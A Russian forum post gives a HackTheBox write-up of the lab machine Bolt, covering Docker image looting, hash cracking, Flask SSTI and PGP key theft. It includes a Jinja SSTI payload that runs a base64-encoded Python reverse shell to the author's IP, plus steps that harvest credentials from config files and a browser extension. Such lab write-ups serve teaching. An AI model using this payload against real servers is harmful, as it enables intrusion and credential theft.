PDA

Просмотр полной версии : SSTI и Docker Image. Bolt Medium HackTheBox!


QuietMoth1
20.02.2022, 23:50
https://forum.antichat.xyz/attachments/29093727/img_0d1fb77996.png

Приветствую!
Предисловие
Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину Bolt.
В этой статье мы отыщем уязвимые пути и файлы в изображении Docker и найдем SSTI в веб приложении. Приступаем!
Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt.
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.11.114
IP адрес основной машины - 10.10.14.66
Начальная разведка и сканирование портов:
Запустим Nmap с параметрами -sC и -sV для сканирования нашего хоста:


nmap -sC -sV 10.10.11.114


https://forum.antichat.xyz/attachments/29093727/1645368733996.png

Из открытых портов у нас: 22/tcp-SSH; 80/tcp-HTTP; 443/tcp-HTTPS;
Также видим поддомен хоста - passbolt.bolt.htb.Добавим его в наши хосты:


echo "10.10.11.114 bolt.htb passbolt.bolt.htb" >> /etc/hosts


Теперь давайте перейдем на веб-сайт.

https://forum.antichat.xyz/attachments/29093727/1645369058813.png

Заметим что здесь отображен шаблон - Admin LTE.
Перейдем теперь на вкладку - Pages и посмотрим, если что интересного в ней...

https://forum.antichat.xyz/attachments/29093727/1645369162954.png

Здесь нас встречает функционал из пяти страниц, для начала перейдем во вкладку - Sign in.

https://forum.antichat.xyz/attachments/29093727/1645369259637.png

Мы попали на страницу логина, попробуем теперь ввести дефолтные данные - admin:admin

https://forum.antichat.xyz/attachments/29093727/1645369312704.png

Но на наш запрос отвечают, что доступ не был получен, а также что мы ввели неправильный пароль.
Тогда попробуем создать свой аккаунт.

https://forum.antichat.xyz/attachments/29093727/1645369808901.png

https://forum.antichat.xyz/attachments/29093727/1645369850344.png

У нас не получилось, тогда давайте глянем что у нас во вкладке загрузки - Download.

https://forum.antichat.xyz/attachments/29093727/1645369406762.png

Здесь говорится о том, что веб-изображение готово к запуску, поэтому, возможно, исходный код должен быть в этом файле.
Нас редиректит на страницу загрузки изображения докера.
Давайте-же скачаем image.tar, архив довольно большой (154 Мб).
После успешной загрузки я распакую его в папку image.


tar -xf image.tar


https://forum.antichat.xyz/attachments/29093727/1645369630049.png

Итак здесь мы видим множество директорий внутри которых будет файл - layer.tar.

https://forum.antichat.xyz/attachments/29093727/1645370074488.png

Давайте попробуем распаковать этот архив и посмотреть что в нём содержится.


tar -xf layer.tar


https://forum.antichat.xyz/attachments/29093727/1645370132063.png

Он содержит в себе две папки - root и tmp. Перейдем в папку root и посмотрим её содержимое.

https://forum.antichat.xyz/attachments/29093727/1645370211230.png

Пусто, как и в другой папке - tmp. Давайте проведем разведку в отношении поиска поддоменов этого сайта.


ffuf -w /root/subdomains-top1million-110000.txt -u 'http://bolt.htb' -H 'Host: FUZZ.bolt.htb' -fw 10870


https://forum.antichat.xyz/attachments/29093727/1645370379143.png

Здесь мы можем обнаружить два поддомена, добавим их к уже существующим в /etc/hosts.
После добавления давайте перейдем на один из них... Пускай это будет - demo!

https://forum.antichat.xyz/attachments/29093727/1645370461470.png

Но перейдя на него, мы опять видим форму входа в аккаунт, попробуем теперь зарегистрироваться здесь.

https://forum.antichat.xyz/attachments/29093727/1645370512925.png

Но даже не успев ввести данные мы видим то, что форма запрашивает у нас код приглашения. У нас его нет
Тогда давайте пройдем на mail.bolt.htb...

https://forum.antichat.xyz/attachments/29093727/1645370602596.png

Да что ж такое! Везде требуется пароль и логин, тогда попробуем поразбирать архивы в нашем, уже скачанном архиве.
Не маловато конечно папок с файлами внутри, но куда деваться)

https://forum.antichat.xyz/attachments/29093727/1645370964977.png

В папке

41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5 670950272789ad

мы можем заметить__init__.py и в нём Flask, это может понадобиться нам в будущем)
Идём далее, теперь перейдя уже в другую папку и распаковав очередной архив, мы заметим базу данных sqllite3.

https://forum.antichat.xyz/attachments/29093727/1645371783413.png

https://forum.antichat.xyz/attachments/29093727/1645371826854.png

Теперь мы получили пароль администратора, пора сбрутить его!
Используем JohnTheRipper:


john --wordlist=/root/rockyou.txt hash.hash


https://forum.antichat.xyz/attachments/29093727/1645371961878.png

Есть! Мы получили пароль админа - deadbolt
Теперь используя admin - как логин и deadbolt - как пароль, войдем в аккаунт на основном сайте (bolt.htb).

https://forum.antichat.xyz/attachments/29093727/1645376356510.png

Но оказалось, что здесь ничего мы не сможем найти, т.к эта страница пустая и никакой функциональности здесь нет...
Вы же наверное помните ту самую регистрацию по коду приглашения? Давайте же попробуем найти его в наших файлах.
Ключ к SSTI:
https://forum.antichat.xyz/attachments/29093727/1645377027322.png

Так при поиске этого кода, мы можем наткнуться на ещё одни учетные данные support@bolt.htb:S#perS3crEt_007, но пока что оставим их в покое и продолжим поиски...

https://forum.antichat.xyz/attachments/29093727/1645377157566.png

А вот и ещё один нужный нам кусочек кода, который и принёс нам этот заветный код.
Теперь регистрируемся на demo.bolt.htb!

https://forum.antichat.xyz/attachments/29093727/1645377250177.png

https://forum.antichat.xyz/attachments/29093727/1645377298850.png

Иии есть! В URL мы видим что мы в админской панели. Но долгие поиски вектора на этом сайте, приносили лишь одни пустые html странички(
Что же это за вкладка - Settings у нашего профиля? Давайте проверим её...

https://forum.antichat.xyz/attachments/29093727/1645377555804.png

По описанию здесь сказано, что это для обновления личной информации требуется подтверждение электронной почты.
Хммм... Неужели нам предоставили доступ к mail.bolt.htb, проверим это!

https://forum.antichat.xyz/attachments/29093727/1645377648861.png

Да! Наши учетные данные были зарегистрированы и здесь. Теперь попробуем отправить письмо с подтверждением.

https://forum.antichat.xyz/attachments/29093727/1645377733551.png

Значит при запросе подтверждения почты, письмо приходит с ссылкой на это подтверждение от... support@bolt.htb!
Вспомнив, что мы увидели те самые учетные данные от support@bolt.htb:S#perS3crEt_007, давайте зайдем в аккаунт службы поддержки.
Но немного посидев и поняв, что эти креды не валидные я приуныл, но уже вскоре понял всю схему написания этого сообщения!
Немного разьясню, помните тот самый момент когда мы нашли AdminLTE? Точно. Это Flask, а самая известная уязвимость для него это - SSTI!

Server-side template injection (SSTI) - это уязвимость внедрения вредоносного кода в шаблон с последующим выполнением на стороне сервера.

Через это самое письмо, мы попробуем внедрить наш вредносный код в приложение и заставим его выполнить его на своей стороне, чем самым мы сможем проникнуть в сам сервер!
Ну что описание закончено, приступим!
Для начала нашего эксперимента, отправим эту строку

{{7*'7'}}

в письме и посмотрим ответ который нам вернула служба поддержки.

https://forum.antichat.xyz/attachments/29093727/1645378649561.png

Попробуем использовать параметр - name для выполнения нашей цели.

https://forum.antichat.xyz/attachments/29093727/1645378703459.png

И очередное письмо у нас на почте. Откроем же его!
Ничего... Неужели это всё... А нет! К нам пришло ещё одно письмо с ответом на наше подтверждение!

https://forum.antichat.xyz/attachments/29093727/1645378805625.png

Есть! Здесь есть SSTI уязвимость, так как вывод строки

{{7*'7'}}

выдал нам

7777777

.
Ну что, теперь осталось развить её! Давайте отправим себе сообщение с нашим реверс шеллом.
Для этого я кодирую наш пэйлоад в base64:

https://forum.antichat.xyz/attachments/29093727/1645379176428.png

Далее я засуну его вывод в саму SSTI:

Код:



{{config.__class__.__init__.__globals__['os'].popen('echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG 9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2Nr ZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0Lj Y2Iiw5OTk5KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5k dXAyKHMuZmlsZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLD IpO2ltcG9ydCBwdHk7IHB0eS5zcGF3bigiYmFzaCIpJw==" |base64 -d | bash').read()}}


И вот теперь попробуем отправить письмо.

https://forum.antichat.xyz/attachments/29093727/1645379444997.png

После отправки, бежим смотреть входящие письма! Подтверждаем...

https://forum.antichat.xyz/attachments/29093727/1645379493910.png

Есть! Мы в системе! Далее дело за малым.
Повышение привилегий:

https://forum.antichat.xyz/attachments/29093727/1645379664849.png

В директории /home мы видим двух пользователей: eddie и clark.
Но доступа к ним нет, тогда нужно найти его.
Долго скитаяясь по машине, я ничего не находил, но вспомнив про passbolt, попытался найти его конфиг файл и у меня это удалось!
Найдя его в /etc/passbolt/passbolt.php, мы можем прочитать его содержимое!

https://forum.antichat.xyz/attachments/29093727/1645380052628.png

И среди строк находим креды от MySQL -

passbolt:rT2;jW7 use passboltdb



mysql> show tables;


https://forum.antichat.xyz/attachments/29093727/1645380277782.png

Видим интересную таблицу secrets, выведем её.


select * from secrets;


https://forum.antichat.xyz/attachments/29093727/1645385607712.png

Мы видим зашифрованное PGP сообщение, оставим его на потом.
Среди таблиц заметим ещё одну таблицу пользователей - users. Теперь выведем и её содержимое.


select * from users;


https://forum.antichat.xyz/attachments/29093727/1645380350858.png

Хм, пароля здесь нет, но мы также видим два пользователя.
А что если попробовать использовать пароль от базы данных, для пользователя eddie или clark?

https://forum.antichat.xyz/attachments/29093727/1645380477130.png

Ура! Мы вошли под этим паролем в аккаунт eddie.

https://forum.antichat.xyz/attachments/29093727/1645380532807.png

Теперь давайте попробуем получить рут!
Проверив кучу способов я нашёл сообщение от пользователя clark в /var/mail/eddie

https://forum.antichat.xyz/attachments/29093727/1645380904416.png

В нём говорится про то что мы должны иметь возможность войти в passbolt без нашего закрытого ключа, также это относится к whitepaper - passbolt.
Погуглив про безопасность passbolt, я понял что закрытый ключ хранится в нашем конфиге расширения браузера!
Давайте прочитаем его!


cat /home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log


https://forum.antichat.xyz/attachments/29093727/1645381496349.png

Далее мы видим ключ PGP, мы можем скопировать и вставить его в текстовый файл и отформатировать его.


echo -e 'НАШ ПРИВАТНЫЙ КЛЮЧ'


https://forum.antichat.xyz/attachments/29093727/1645381948493.png

После получения закрытого ключа и сообщения, запуск gpg в файле сообщения сообщит нам, с каким идентификатором ключа он зашифрован.

https://forum.antichat.xyz/attachments/29093727/1645384476812.png

Пора расшифровать его, будем использовать gpg2john для создания хэша этого ключа.

https://forum.antichat.xyz/attachments/29093727/1645382137182.png

Пора сбрутить его! После длительного ожидания мы можем получить наш пароль!

https://forum.antichat.xyz/attachments/29093727/1645384196853.png

Далее импортируем gpg ключ:


gpg --import pgp.txt


https://forum.antichat.xyz/attachments/29093727/1645384291271.png

Теперь помня что у нас есть зашифрованное сообщение с базы данных, расшифруем его!


gpg -d message


https://forum.antichat.xyz/attachments/29093727/1645385734191.png

И теперь мы получили чей-то пароль -

Z(2rmxsNW(Z?3=p/9s


Давайте попробуем зарегистрироваться в аккаунт пользователя - clark

https://forum.antichat.xyz/attachments/29093727/1645385821200.png

Странно, но почему то пароль не подошёл, тогда может попробовать зайти в аккаунт root?

https://forum.antichat.xyz/attachments/29093727/1645385864272.png

Получилось! Мы рут, теперь осталось взять его флаг.

https://forum.antichat.xyz/attachments/29093727/1645385902601.png

Огромнейшее спасибо, дорогой читатель что смог досмотреть эту статью до конца, надеюсь что вам понравилось. Скоро буду